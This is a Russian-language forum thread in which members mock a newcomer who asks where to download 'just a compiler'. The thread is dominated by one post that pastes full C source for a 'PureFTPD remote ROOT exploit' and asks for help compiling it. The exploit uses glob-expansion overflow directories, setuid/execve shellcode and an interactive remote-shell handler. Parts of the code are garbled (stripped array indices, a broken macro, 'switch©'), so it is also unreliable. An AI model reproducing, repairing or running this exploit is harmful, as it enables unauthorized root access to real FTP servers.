Компиляторы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Dimann, 21 Jan 2006.

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  1. danil1990

    danil1990 New Member

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    а где можно скачать компилатор подскажите плиз
    а то я не могу найти
     
  2. F_taker

    F_taker New Member

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    компилятор для чего?
     
  3. TTyck

    TTyck Elder - Старейшина

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    просто компилятор=)))))))
     
  4. limpompo

    limpompo Новичок

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    Прочитав все посты смеялся 2 часа =)) Клоуны всё таки осталить на нашей земле =)
     
  5. limpompo

    limpompo Новичок

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    danil1990 - Ты ещё спроси где ПУСК находиться В XP
     
  6. FQziT

    FQziT Elder - Старейшина

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    Хехехе =)))))))
     
  7. sn0w

    sn0w Статус пользователя:

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    чел жжот)) че сказать!)))
     
  8. Inferno

    Inferno Elder - Старейшина

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    Ну еслиб небыло такиз людей то и посмеятся нельзя былоб :)
     
  9. KEZ

    KEZ Ненасытный школьник

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    Че вы к словам придираетесь "какой какой компилятор?"
    Просто компилятор! Что, ещё скажите что небывает просто компиляторов! Бывает! Вот и дайте ему просто компилятор чтобы запускать его не из консоли а просто запускать. Обычный компилятор, никакой просто компилятор.
     
  10. Inferno

    Inferno Elder - Старейшина

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    Ты так больше не делай я чуть со стула не упал :d
     
  11. tclover

    tclover nobody

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    Дима! Есть у меня специальный компилятор. Специально для тебя сделал. Пиши мне в личку :) Нажимай себе на кнопочки :) )))))))))))))))))))))))))))))) Компилирут всё что хочешь :)))))) лол
     
  12. Ilnaz

    Ilnaz New Member

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    Ну чтож!?

    Если уж вы такие умные, может кто из вас сможет откомпилировать вот этот эксплоит...Я буду очень признателен вам если вы хотя бы попробуете
    Сам пробывал, но похоже что "Borland C++Builder 6" не под силам это сотворить, или же это не под силам моему мозгу.===>

    /*
    PureFTPD (1.x.x) linux/x86 remote ROOT exploit.
    !PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!
    exploit by setg1d([email protected]).
    ------------------------------------------
    FTP glob Expansion Vulnerability.
    */



    #define FTP_PORT 21
    #define MAXX(a, ((a) < ( ? ( : (a))

    #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */

    extern int errno;

    int debug_read;
    int debug_write;


    /*
    * Non-ripped 45 byte linux shellcode which does setuid(0) and execve()
    * and does not contain any '/' characters.
    */
    char lincode[] =
    "\x29\xc0\x50\xb0\x17\x50\xcd\x80"
    "\x29\xc0\x50\xbf\x66\x69\x73\x68"
    "\x29\xf6\x66\xbe\x49\x46\x31\xfe"
    "\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
    "\x56\x89\xe3\x50\x54\x50\x54\x53"
    "\xb0\x3b\x50\xcd\x80";


    /* architecture structure */
    struct arch {
    char *description;
    char *shellcode;
    unsigned long code_addr;
    };


    /* available targets */
    struct arch archlist[] =
    {
    { "Linux/x86 ProFTPD", lincode, 0xbfbfc2a8 }
    };


    /*
    * function prototypes.
    */
    void *Malloc(size_t);
    void *Realloc(void *, size_t);
    char *Strdup(char *);
    int get_ip(struct in_addr *, char *);
    int tcp_connect(char *, unsigned int);
    ssize_t write_sock(int, void *, size_t);
    ssize_t read_sock(int, void *, size_t);
    int ftp_login(int, char *, char *);
    char *ftp_gethomedir(int);
    int ftp_mkdir(int, char *);
    int ftp_chdir(int, char *);
    int ftp_quit(int);
    void possibly_rooted(int);
    void send_glob(int, char *);
    char *random_string(void);
    int ftp_glob_exploit(int, char *, unsigned long, char *);
    int verify_shellcode(char *);
    void usage(char *);
    void list_targets(void);


    /*
    * Error cheq'n wrapper for malloc.
    */
    void *Malloc(size_t n)
    {
    void *tmp;

    if((tmp = malloc(n)) == NULL)
    {
    fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
    exit(EXIT_FAILURE);
    }

    return tmp;
    }


    /*
    * Error cheq'n strdup.
    */
    char *Strdup(char *str)
    {
    char *s;

    if((s = strdup(str)) == NULL)
    {
    fprintf(stderr, "strdup failed! exiting...\n");
    exit(EXIT_FAILURE);
    }

    return s;
    }


    /*
    * translates a host from its string representation (either in numbers
    * and dots notation or hostname format) into its binary ip address
    * and stores it in the in_addr struct passed in.
    *
    * return values: 0 on success, != 0 on failure.
    */
    int get_ip(struct in_addr *iaddr, char *host)
    {
    struct hostent *hp;

    /* first check to see if its in num-dot format */
    if(inet_aton(host, iaddr) != 0)
    return 0;

    /* next, do a gethostbyname */
    if((hp = gethostbyname(host)) != NULL)
    {
    if(hp->h_addr_list != NULL)
    {
    memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
    return 0;
    }
    return -1;
    }

    return -1;
    }


    /*
    * initiates a tcp connection to the specified host (either in
    * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
    * to the host's tcp port.
    *
    * return values: != -1 on success, -1 on failure.
    */
    int tcp_connect(char *host, unsigned int port)
    {
    int sock;
    struct sockaddr_in saddress;
    struct in_addr *iaddr;

    iaddr = Malloc(sizeof(struct in_addr));

    /* write the hostname information into the in_addr structure */
    if(get_ip(iaddr, host) != 0)
    return -1;

    saddress.sin_addr.s_addr = iaddr->s_addr;
    saddress.sin_family = AF_INET;
    saddress.sin_port = htons(port);

    /* create the socket */
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    return -1;

    /* make the connection */
    if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
    {
    close(sock);
    return -1;
    }

    /* everything succeeded, return the connected socket */
    return sock;
    }


    /*
    * a wrapper for write to enable us to do some debugging.
    */
    ssize_t write_sock(int fd, void *buf, size_t count)
    {
    unsigned int i;

    if(debug_write == 1)
    {
    printf(" > ");
    for(i = 0; i < count; i++)
    printf("%c", ((char *)buf));
    fflush(stdout);
    }

    return write(fd, buf, count);
    }


    /*
    * a wrapper for read to enable us to some debugging.
    */
    ssize_t read_sock(int fd, void *buf, size_t count)
    {
    unsigned int i;
    ssize_t r;

    r = read(fd, buf, count);

    if(debug_read == 1)
    {
    printf(" < ");
    for(i = 0; i < r; i++)
    printf("%c", ((char *)buf));
    fflush(stdout);
    }

    return r;
    }


    /*
    * FTP LOGIN function. Issues a "USER <username> and then "PASS <password>"
    * to login to the remote host and checks that command succeeded.
    */
    int ftp_login(int sock, char *username, char *password)
    {
    char recvbuf[256];
    char *sendbuf;
    int r;

    /* get the header */
    read_sock(sock, recvbuf, 255);

    sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
    sizeof(char));

    sprintf(sendbuf, "USER %s\n", username);

    write_sock(sock, sendbuf, strlen(sendbuf));
    r = read_sock(sock, recvbuf, 255);
    recvbuf[r] = 0x0;

    if(atoi(recvbuf) != 331)
    return 0;

    sprintf(sendbuf, "PASS %s\n", password);

    write_sock(sock, sendbuf, strlen(sendbuf));
    r = read_sock(sock, recvbuf, 255);
    recvbuf[r] = 0x0;

    free(sendbuf);

    if(atoi(recvbuf) == 230)
    return 1;

    return 0;
    }


    /*
    * FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to
    * force the ftp daemon to print our our current directory.
    */
    char *ftp_gethomedir(int sock)
    {
    char recvbuf[256];
    char *homedir = NULL;
    int r;

    write_sock(sock, "CWD ~\n", 6);
    r = read_sock(sock, recvbuf, 255);
    recvbuf[r] = 0x0;

    if(atoi(recvbuf) == 250)
    {
    write_sock(sock, "PWD\n", 4);
    r = read_sock(sock, recvbuf, 255);
    recvbuf[r] = 0x0;

    if(atoi(recvbuf) == 257)
    {
    char *front, *back;

    front = strchr(recvbuf, '"');
    front++;
    back = strchr(front, '"');

    homedir = Malloc((back - front) * sizeof(char));
    strncpy(homedir, front, (back - front));
    homedir[(back - front)] = 0x0;
    }
    }

    return homedir;
    }


    /*
    * FTP MKDIR function. Issues an "MKD <dirname>" to create a directory on
    * the remote host and checks that the command succeeded.
    */
    int ftp_mkdir(int sock, char *dirname)
    {
    char recvbuf[512];
    char *sendbuf;
    int r;

    sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
    sprintf(sendbuf, "MKD %s\n", dirname);

    write_sock(sock, sendbuf, strlen(sendbuf));
    r = read_sock(sock, recvbuf, 511);
    recvbuf[r] = 0x0;

    free(sendbuf);

    if(atoi(recvbuf) == 257)
    return 1;

    return 0;
    }


    /*
    * FTP CWD function. Issues a "CWD <dirname>" to change directory on
    * the remote host and checks that the command succeeded.
    */
    int ftp_chdir(int sock, char *dirname)
    {
    char recvbuf[512];
    char *sendbuf;
    int r;

    sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
    sprintf(sendbuf, "CWD %s\n", dirname);

    write_sock(sock, sendbuf, strlen(sendbuf));
    r = read_sock(sock, recvbuf, 511);
    recvbuf[r] = 0x0;

    free(sendbuf);

    if(atoi(recvbuf) == 250)
    return 1;

    return 0;
    }


    /*
    * FTP QUIT function. Issues a "QUIT" to terminate the connection.
    */
    int ftp_quit(int sock)
    {
    char recvbuf[256];
    int r;

    write_sock(sock, "QUIT\n", 5);
    r = read_sock(sock, recvbuf, 255);
    recvbuf[r] = 0x0;

    close(sock);
    return 1;
    }

    /*
    * switches between the user and the remote shell (if everything went well).
    */
    void possible_shell(int sock)
    {
    char banner[] =
    "cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
    "enter commands at will; echo;\n\n";

    char buf[1024];
    fd_set fds;
    int r;

    write(sock, banner, strlen(banner));

    for(;;)
    {
    FD_ZERO(&fds);
    FD_SET(fileno(stdin), &fds);
    FD_SET(sock, &fds);
    select(255, &fds, NULL, NULL, NULL);

    if(FD_ISSET(sock, &fds))
    {
    memset(buf, 0x0, sizeof(buf));
    r = read (sock, buf, sizeof(buf) - 1);
    if(r <= 0)
    {
    printf("Connection closed.\n");
    exit(EXIT_SUCCESS);
    }
    printf("%s", buf);
    }

    if(FD_ISSET(fileno(stdin), &fds))
    {
    memset(buf, 0x0, sizeof(buf));
    read(fileno(stdin), buf, sizeof(buf) - 1);
    write(sock, buf, strlen(buf));
    }
    }
    close(sock);
    }


    /*
    * generates a string of 6 random characters.
    * this is too allow for multiple successful runs, best way to do
    * this is to actually remove the created directories.
    */
    char *random_string(void)
    {
    int i;
    char *s = Malloc(7);

    srand(time(NULL));
    for(i = 0; i < 6; i++)
    s = (rand() % (122 - 97)) + 97;

    s = 0x0;
    return s;
    }


    /*
    * sends the glob string, to overflow the daemon.
    */
    void send_glob(int sock, char *front)
    {
    char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
    int i, j;

    for(i = 6, j = 0; i < 6 + 6; i++, j++)
    globbed = front[j];

    write_sock(sock, globbed, strlen(globbed));

    printf("[5] Globbed commands sent.\n");

    /* start our shell handler */
    possible_shell(sock);
    }


    /*
    * Exploitation routine.
    * Makes 4 large directories and then cwd's to them.
    */
    int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char
    *shellcode)
    {
    char dir[300];
    int i, j;
    int total = strlen(homedir) + 1;
    int align2;
    char *rstring = random_string();

    /* go to the writeable directory */
    if(!ftp_chdir(sock, homedir))
    {
    fprintf(stderr, "[-] Failed to change directory, aborting!\n");
    return 0;
    }

    for(i = 0; i < 4; i++)
    {
    memset(dir, 0x0, 299);

    switch(i)
    {
    case 0: /* first dir == shellcode */
    memcpy(dir, rstring, strlen(rstring));
    memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
    strcpy(&dir[(255 - strlen(shellcode))], shellcode);
    break;

    case 3: /* address buffer */
    /* calculate the alignment */
    align2 = total % sizeof(long);
    align2 = sizeof(long) - align2;

    printf("[3] Calculated alignment = %d, total = %d\n",
    align2, total);

    strcpy(dir, "XXXX");
    memset(dir + 4, 'X', align2);

    for(j = 4 + align2; j < 250; j += 4)
    *(unsigned long *)(&dir[j]) = addy;
    break;

    default: /* cases 1 and 2, extra overflow bytes */
    memset(dir, 'X', 255);
    break;

    }

    total += strlen(dir) + 1;

    if(!ftp_mkdir(sock, dir))
    {
    fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
    return 0;
    }

    if(!ftp_chdir(sock, dir))
    {
    fprintf(stderr, "[-] Failed to change directory, aborting!\n");
    return 0;
    }
    }

    printf("[4] Evil directories created.\n");

    if(!ftp_chdir(sock, homedir))
    {
    fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
    return 0;
    }

    /* perform the final attack */
    send_glob(sock, rstring);

    return 1;
    }


    /*
    * returns true if the shellcode passes, false otherwise.
    */
    int verify_shellcode(char *code)
    {
    int i, s = 0;

    if(strlen(code) > 255)
    {
    fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
    return 0;
    }

    for(i = 0; i < strlen(code); i++)
    {
    if(code == '/')
    s++;
    }

    if(s > 0)
    {
    fprintf(stderr,
    "[-] Shellcode contains %u slash characters, aborting\n", s);
    return 0;
    }

    return 1;
    }


    /*
    * displays the usage message and exits.
    */
    void usage(char *p)
    {
    fprintf(stderr,
    "Linux/x86 PureFTPD remote exploit.\n"
    "usage: %s [options]\n"
    "\t-c\tremote host to connect to\n"
    "\t-o\tremote port to use\n"
    "\t-u\tremote username\n"
    "\t-p\tremote password\n"
    "\t-i\tget the password interactively\n"
    "\t-t\tpredefined target (\"-t list\" to list all targets)\n"
    "\t-d\twriteable directory\n"
    "\t-l\tshellcode address\n"
    "\t-v\tdebug level [0-2]\n"
    "\t-s\tseconds to sleep after login (debugging purposes)\n"
    "\t-h\tdisplay this help\n", p);

    exit(EXIT_FAILURE);
    }

    /*
    * lists all available targets.
    */
    void list_targets(void)
    {
    int i;

    printf("Available Targets:\n");

    for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
    printf("%i: %s\n", i, archlist.description);

    return;
    }


    int main(int argc, char **argv)
    {
    int sock, c;
    int port = FTP_PORT;
    int debuglevel = 0;
    char *host = NULL;
    char *username = NULL;
    char *password = NULL;

    struct arch *arch = NULL;
    char *shellcode = lincode;
    int target = 0;
    int sleep_time = 0;
    unsigned long code_addr = 0;
    char *homedir = NULL;;

    printf("\n\n Downlaod .:: www.WOW-TEAM.org/spaker ::.\n\n");
    /* grab command line parameters */
    while((c = getopt(argc, argv, "c:eek::u:p:it:d:l:v:s:h")) != EOF)
    {
    switch©
    {
    case 'c':
    host = Strdup(optarg);
    break;

    case 'o':
    port = atoi(optarg);
    break;

    case 'u':
    username = Strdup(optarg);
    break;

    case 'p':
    password = Strdup(optarg);
    /* hide the password from ps */
    memset(optarg, 'X', strlen(optarg));
    break;

    case 'i':
    password = getpass("Enter remote password: ");
    break;

    case 't':
    if(strcmp(optarg, "list") == 0)
    {
    list_targets();
    return EXIT_FAILURE;
    }

    target = atoi(optarg);
    arch = &(archlist[target]);
    code_addr = arch->code_addr;
    shellcode = arch->shellcode;
    break;

    case 'd':
    homedir = Strdup(optarg);
    break;

    case 'l':
    code_addr = strtoul(optarg, NULL, 0);
    break;

    case 'v':
    debuglevel = atoi(optarg);
    break;

    case 's':
    sleep_time = atoi(optarg);
    break;

    default:
    usage(argv[0]);
    break;
    }
    }


    /* check for required options */
    if(host == NULL || username == NULL || password == NULL || code_addr == 0)
    usage(argv[0]);

    /* setup the debug level */
    switch(debuglevel)
    {
    case 1:
    debug_read = 1;
    debug_write = 0;
    break;

    case 2:
    debug_read = 1;
    debug_write = 1;
    break;

    default:
    debug_read = 0;
    debug_write = 0;
    break;
    }

    /* make sure the shellcode is good */
    if(!verify_shellcode(shellcode))
    return EXIT_FAILURE;

    /* initiate the tcp connection to the ftp server */
    if((sock = tcp_connect(host, port)) == -1)
    {
    fprintf(stderr, "[-] Connection to %s failed!\n", host);
    ftp_quit(sock);
    return EXIT_FAILURE;
    }

    if(arch == NULL)
    printf("[0] Connected to host %s.\n", host);
    else
    printf("[0] Connected to host %s\n\tAs type %s.\n",
    host, arch->description);


    /* login */
    if(!ftp_login(sock, username, password))
    {
    fprintf(stderr, "[-] Login failed, aborting!\n");
    ftp_quit(sock);
    return EXIT_FAILURE;
    }

    /* hey, so im anal! */
    memset(password, 0x0, strlen(password));
    free(username);
    free(password);

    printf("[1] Login succeeded.\n");

    if(sleep != 0)
    sleep(sleep_time);

    if(homedir == NULL)
    {
    /* get home directory */
    if((homedir = ftp_gethomedir(sock)) == NULL)
    {
    fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
    ftp_quit(sock);
    return EXIT_FAILURE;
    }
    }

    printf("[2] Home directory retrieved as \"%s\", %u bytes.\n",
    homedir, strlen(homedir));

    /* do the exploitation */
    if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
    {
    fprintf(stderr, "[-] exploit failed, aborting!\n");
    ftp_quit(sock);
    return EXIT_FAILURE;
    }

    ftp_quit(sock);

    free(host);
    return EXIT_SUCCESS;
    }
     
  13. donetsk

    donetsk Elder - Старейшина

    Joined:
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    KEZ вы не шарити челу нужен ПрстоКомпилятор.exe я могу такой написать чел стучи в личку ;)

    Тему думаю стоит перенести в раздел Юмора :)

    Кто ж так постит сообщения на диал апе ждал пол часа и ошибка на странице ты бы ещё войну и мир выложил и сказал бы народ поитайте хорошая фишка!
     
  14. Happer

    Happer New Member

    Joined:
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    бугага...смешной топик
    особенно понравилась фраза "эмулятор DOS" :)))

    сорри за оффтоп
     
  15. Nexwill

    Nexwill Elder - Старейшина

    Joined:
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    Топикстартер читай книги типа: сомоучитель по windows 98
    весь флейм я тут устану чистить! так шо closed!
    Шо бы флэйму меньшэ было!
     
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